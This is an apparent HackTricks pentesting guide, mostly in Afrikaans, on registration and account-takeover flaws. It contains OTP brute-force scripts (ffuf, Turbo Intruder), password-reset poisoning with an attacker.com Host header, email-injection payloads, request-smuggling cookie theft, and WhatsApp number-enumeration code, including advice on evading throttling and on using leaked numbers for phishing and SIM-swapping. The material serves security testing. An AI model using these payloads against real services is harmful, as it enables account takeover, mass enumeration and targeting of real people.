Registrasie- en Oorname-kwesbaarhede
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Registration Takeover
Duplicaat-registrasie
- Probeer om ân konto te genereer met ân bestaande gebruikersnaam
- Probeer variasies van die e-pos:
- gebruik hoofletters
- +1@
- voeg ân punt in die e-pos
- spesiale karakters in die e-posnaam (%00, %09, %20)
- Sit leë karakters na die e-pos:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Probeer e-posverskaffer se canonicalization-trieke (diens-afhanklik):
- Gmail ignoreer punte en subaddressing:
victim+1@gmail.com,v.ic.tim@gmail.comword afgelewer aanvictim@gmail.com - Sommige verskaffers is case-insensitive in die local-part
- Sommige verskaffers aanvaar unicode confusables. Probeer homoglyphs en soft hyphen
\u00ADbinne die local-part - Misbruik dit om: unikheidskontroles te omseil, duplikaat rekeninge/workspace invites te verkry, of die slagoffer se registrasies te blokkeer (Tydelike DoS) terwyl jy ân takeover voorberei
Username Enumeration
Kontroleer of jy kan vasstel wanneer ân gebruikersnaam reeds binne die toepassing geregistreer is.
- Verskillende foutboodskappe of HTTP-statuskodes
- Tydsverskille (bestaande gebruiker kan ân opsoektog na IdP/DB veroorsaak)
- Registrasievorm se autofill van profieldata vir bekende e-posadresse
- Kontroleer team/invite flows: die invoer van ân e-pos kan openbaar of ân rekening bestaan
Password Policy
Wanneer jy ân gebruiker skep, ondersoek die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).
Indien dit die geval is, kan jy probeer om credentials te bruteforce.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Change Email
Sodra geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek gevalideer word of of jy dit na ewekansige e-posadresse kan verander.
More Checks
- Check if you can use disposable emails (mailinator, yopmail, 1secmail, etc.) or bypass the blocklist with subaddressing like
victim+mailinator@gmail.com - Long password (>200) lei tot DoS
- Check rate limits on account creation
- Gebruik username@burp_collab.net en ontleed die callback
- As telefoonnommer-verifikasie gebruik word, ondersoek phone parsing/injection edge cases
Contact-discovery / identifier-enumeration oracles
Phone-numberâcentric messengers openbaar ân presence oracle wanneer die kliĂ«nt kontakte sinkroniseer. Replaying WhatsAppâs discovery requests het histories >100M lookups per hour gelewer, wat byna-volledige rekening-enumerasies moontlik gemaak het.
Aanvals-werkvloeistroom
- Instrumenteer ân amptelike kliĂ«nt om die address-book upload request (authenticated blob of normalized E.164 numbers) vas te vang. Replay dit met attacker-generated nommers terwyl jy dieselfde cookies/device token hergebruik.
- Batch nommers per versoek: WhatsApp aanvaar duisende identifiers en retourneer geregistreerd/niet-geregistreerd plus metadata (business, companion, ens.). Analiseer antwoorde offline om teikenlyste te bou sonder om slagoffers te boodskap.
- Skaleer horisontaal die enumerasie met SIM banks, cloud devices, of residential proxies sodat per-account/IP/ASN throttling nooit uitgelok word nie.
Dialing-plan modeling
Model elke land se dialing plan om ongeldig kandidaatnommers oor te slaan. Die NDSS dataset (country-table.*) lys landkodes, adoptiedigtheid, en platformverdeling sodat jy hoë-treffer-bereike kan prioritiseer. Voorbeeld seeding code:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise voorvoegsels wat by werklike toewysings pas (Mobile Country Code + National Destination Code) voordat jy die oracle bevraagteken om deurset nuttig te hou.
Turning enumerations into targeted attacks
- Voer leaked phone numbers (e.g., Facebookâs 2021 breach) in die oracle in om te bepaal watter identiteite steeds aktief is voor phishing, SIM-swapping, of spamming.
- Sny sensusse per land/OS/app-tipe om streke te vind met swak SMS-filtering of groot WhatsApp Business-aanvaarding vir gelokaliseerde social engineering.
Public-key reuse correlation
WhatsApp openbaar elke rekening se X25519 identity key tydens sessie-opstelling. Versoek identity-materiaal vir elke geĂŻnumereerde nommer en de-dupliseer die public keys om account farms, gekloonde clients, of onveilige firmware te openbaar â gedeelde sleutels deanonymize multi-SIM-operasies.
Swak E-pos/Telefoon-verifikasie (OTP/Magic Link)
Registrasievloei verifieer dikwels eienaarskap via ân numeriese OTP of ân magic-link token. Tipiese swakpunte:
- Guessable of kort OTP (4â6 syfers) sonder effektiewe rate limiting of IP/device tracking. Probeer parallel guesses en header/IP-rotasie.
- OTP reuse oor aksies of rekeninge, of nie gebind aan die spesifieke gebruiker/aksie nie (bv. dieselfde kode werk vir login en signup, of werk nadat e-pos verander is).
- Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: onderskei wrong vs expired vs wrong-user codes aan die hand van status/message/body length.
- Tokens word nie ongeldig gemaak na sukses of na password/email change nie.
- Verifikasie-token nie vasgemaak aan user agent/IP nie, wat cross-origin voltooiing vanaf aanvaller-beheerde bladsye toelaat.
Bruteforce-voorbeeld met ffuf teen ân JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Parallel/gesamentlike raai om opeenvolgende sperrings te omseil (gebruik Turbo Intruder in Burp):
Turbo Intruder-snippet om 6âsyfer OTP-pogings te oorstroom
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and bâInvalidâ not in req.response: table.add(req)
</details>
- Probeer racing verification: submit dieselfde geldige OTP terselfdertyd in twee sessies; soms word een sessie 'n geverifieerde attacker account terwyl die victim flow ook slaag.
- Toets ook Host header poisoning op verification links (dieselfde as reset poisoning hieronder) om 'n leak te veroorsaak of verification op 'n attackerâcontrolled host te voltooi.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account PreâHijacking Techniques (before the victim signs up)
'n Kragtige klas kwessies ontstaan wanneer 'n attacker aksies op die victim se e-pos uitvoer voordat die victim hul rekening skep, en later weer toegang herwin.
Sleutel tegnieke om te toets (pas aan by die teiken se vloei):
- ClassicâFederated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attackerâs access
- Unexpired Session Identifier
- Attacker: creates account and holds a longâlived session (donât log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the preâcreated account (phone, additional email, or links attackerâs IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates emailâchange to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending emailâchange to steal the account
- NonâVerifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@âŠ`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification
Praktiese wenke
- Versamel flows en endpoints vanaf web/mobile bundles. Soek na classic signup, SSO linking, email/phone change, en password reset endpoints.
- Skep realistiese automatisering om sessies lewendig te hou terwyl jy ander flows toets.
- Vir SSOâtoetse, staan 'n toets OIDC provider op en issue tokens met `email` claims vir die victim adres en `email_verified=false` om te kontroleer of die RP ongeverifieerde IdPs vertrou.
- Na enige password reset of email change, verifieer dat:
- alle ander sessions en tokens ongeldig gemaak word,
- hangende email/phone change vermoëns geannuleer word,
- voorheen gelinkte IdPs/emails/phones weer geâverify word.
Let wel: Omvattende metodologie en gevallestudies van hierdie tegnieke is gedokumenteer in Microsoftâs preâhijacking research (sien References aan die einde).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Donât change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR op API-parameters
- Aanvaller moet aanmeld met hul rekening en na die Change password-funksie gaan.
- Begin Burp Suite en onderskep die versoek
- Stuur dit na die repeater-tab en wysig die parameters : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Swak wagwoordherstel-token
Die wagwoord-terugstel-token moet ewekansig gegenereer word en elke keer uniek wees.
Probeer bepaal of die token verval of of dit altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.
- Tydstempel
- Gebruiker-ID
- Gebruiker se e-pos
- Voornaam en van
- Geboortedatum
- Kriptografie
- Slegs syfers
- Korte tokenreeks ( karakters tussen [A-Z,a-z,0-9])
- Token-hergebruik
- Token-vervaldatum
Leaking Password Reset Token
- Trigger ân password reset request via die API/UI vir ân spesifieke e-pos, bv: test@mail.com
- Inspekteer die bedienerrespons en kyk vir
resetToken - Gebruik dan die token in ân URL soos
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Wagwoordherstel via gebruikersnaambotsing
- Registreer op die stelsel met ân gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasies voor en/of na die gebruikersnaam. bv:
"admin " - Versoek ân wagwoordherstel met jou kwaadwillige gebruikersnaam.
- Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
- Meld aan by die slagoffer se rekening met die nuwe wagwoord.
Die platform CTFd was kwesbaar vir hierdie aanval.
Sien: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Vind ân XSS binne die toepassing of ân subdomein as die cookies geskop is na die ouer-domein :
*.domain.com - Leak the current sessions cookie
- Meld aan as die gebruiker deur die cookie te gebruik
Account Takeover Via HTTP Request Smuggling
- Gebruik smuggler om die tipe HTTP Request Smuggling op te spoor (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Bou ân versoek wat die
POST / HTTP/1.1sal oor skryf met die volgende data:GET http://something.burpcollaborator.net HTTP/1.1 X:met die doel om ân open redirect te skep wat die slagoffers na burpcollab stuur en hul koekies steel\ - Die finale versoek kan soos volg lyk
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone-verslae oor die uitbuiting van hierdie fout\
Account Takeover via CSRF
- Skep ân payload vir die CSRF, byv.: âHTML form met outo-submit vir ân wagwoordveranderingâ
- Stuur die payload
Account Takeover via JWT
JSON Web Token kan gebruik word om ân gebruiker te autentiseer.
- Wysig die JWT met ân ander User ID / Email
- Kontroleer vir ân swak JWT-handtekening
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Sommige signup handlers voer ân upsert uit wanneer die verskafde email reeds bestaan. As die endpoint ân minimale body met ân email en password aanvaar en nie eienaarskapverifikasie afdwing nie, sal die stuur van die slagoffer se email hul password pre-auth oorskryf.
- Ontdekking: oes endpoint-names uit gebundelde JS (of mobile app traffic), en fuzz base paths soos /parents/application/v4/admin/FUZZ met ffuf/dirsearch.
- Metode-aanwysers: ân GET wat boodskappe teruggee soos âOnly POST request is allowed.â dui dikwels die korrekte verb aan en dat ân JSON body verwag word.
- Minimale body waargeneem in die wild:
{"email":"victim@example.com","password":"New@12345"}
Voorbeeld PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impak: Volledige Account Takeover (ATO) sonder enige reset token, OTP, of email verification.
Verwysings
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC â Preâhijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

